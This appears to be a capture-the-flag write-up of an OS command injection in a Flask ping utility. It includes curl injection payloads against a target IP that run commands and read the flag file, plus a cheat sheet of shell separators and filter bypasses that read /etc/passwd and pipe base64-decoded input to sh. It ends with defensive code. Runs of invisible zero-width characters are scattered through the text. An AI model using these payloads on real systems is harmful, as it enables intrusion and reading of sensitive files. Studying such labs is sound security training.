← Back to Writeups
CUSTOMEasyWeb

Ping Pwn

XESXOR9/2/20263 min read
#web#custom#easy#newline-injection-(%0a)#os-command-injection-via-shell#pipe-command-chaining#semicolon-command-separator

Ping Pwn

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: Newline injection (%0a), OS command injection via shell metacharacters, Pipe command chaining, Semicolon command separator

Summary

Walkthrough of the CUSTOM Web Ping Pwn. Task: Flask ping utility with user input passed to os.popen() without sanitization. Solution: OS command injection via semicolon separator to execute arbitrary commands as root and read flag.

Description

Target server with two services: static page on nginx (port 80) and Flask application "Network Monitoring Tool" (port 8080), allowing ping to a specified host.

Target: 108.130.194.115

Analysis

1. Reconnaissance — Nmap

Port scanning revealed two open services:

PortServiceVersion
80nginx1.28.0 — static landing page
8080Werkzeug2.3.7 Python/3.11.13 — Flask app

2. Application Analysis

Flask application on port 8080 provides a form /ping?host= that accepts hostname/IP and executes ping. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

3. Vulnerable Code

Server code in /app/app.py:

python
@app.route('/ping')
def ping():
    host = request.args.get('host', '')
    command = f"ping -W 1 -c 1 {host}"
    result = os.popen(command).read()
    return render_template_string(HTML_TEMPLATE, result=result)

Problem: user input is directly concatenated into shell command via os.popen() without any filtering or escaping. The os.popen() function spawns a shell process, making injection trivial.

Solution

Step 1: Confirming Command Injection

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl "http://108.130.194.115:8080/ping?host=127.0.0.1;id"

Result:

uid=0(root) gid=0(root) groups=0(root),...

Application runs as root — injection is critical.

Step 2: Testing Various Separators

All three injection methods work:

bash
# Semicolon — sequential execution
curl "http://108.130.194.115:8080/ping?host=127.0.0.1;id"

# Pipe — output redirection
curl "http://108.130.194.115:8080/ping?host=127.0.0.1|id"

# Newline — line break (URL-encoded)
curl "http://108.130.194.115:8080/ping?host=127.0.0.1%0aid"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Finding the Flag

bash
curl "http://108.130.194.115:8080/ping?host=127.0.0.1;ls+-la+/"

Result — found file /flag.txt in root directory.

Step 4: Reading the Flag

bash
curl "http://108.130.194.115:8080/ping?host=127.0.0.1;cat+/flag.txt"

Result:

REDACTED

Command Injection — Cheat Sheet

Command Separators

SymbolDescriptionExample
;Sequential executionhost;id
|Pipe (output of first → input of second)host|id
&Background executionhost&id
&&Execute second if first succeedshost&&id
||Execute second if first failsinvalid||id
%0aNewline (URL-encoded)host%0aid
`Backticks (substitution)host`id`
$()Command substitutionhost$(id)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Filter Bypass (if WAF present)

bash
# Spaces blocked — use $IFS or {,}
cat${IFS}/etc/passwd
{cat,/etc/passwd}

# Keywords blocked — concatenation
c'a't /etc/passwd
c""at /etc/passwd
/bin/c?t /etc/passwd

# Slash blocked — environment variables
cat ${HOME:0:1}etc${HOME:0:1}passwd

# Base64 bypass
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh

Defense

python
# CORRECT: use subprocess with argument array (no shell)
import subprocess
import shlex

@app.route('/ping')
def ping():
    host = request.args.get('host', '')
    
    # Validation: only IP or hostname
    if not re.match(r'^[a-zA-Z0-9.\-]+$', host):
        return "Invalid host", 400
    
    # Safe call without shell
    try:
        result = subprocess.run(
            ['ping', '-W', '1', '-c', '1', host],
            capture_output=True, text=True, timeout=5
        )
        output = result.stdout
    except subprocess.TimeoutExpired:
        output = "Timeout"
    
    return render_template('ping.html', result=output)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key principles:

  1. Never use os.popen(), os.system() — always use subprocess with shell=False
  2. Pass arguments as a list, not a string
  3. Validate input — whitelist allowed characters
  4. Don't run application as root ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering Newline injection (%0a), OS command injection via shell metacharacters, Pipe command chaining, Semicolon command separator was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-02-16 • CUSTOM • Ping Pwn • Difficulty: Easy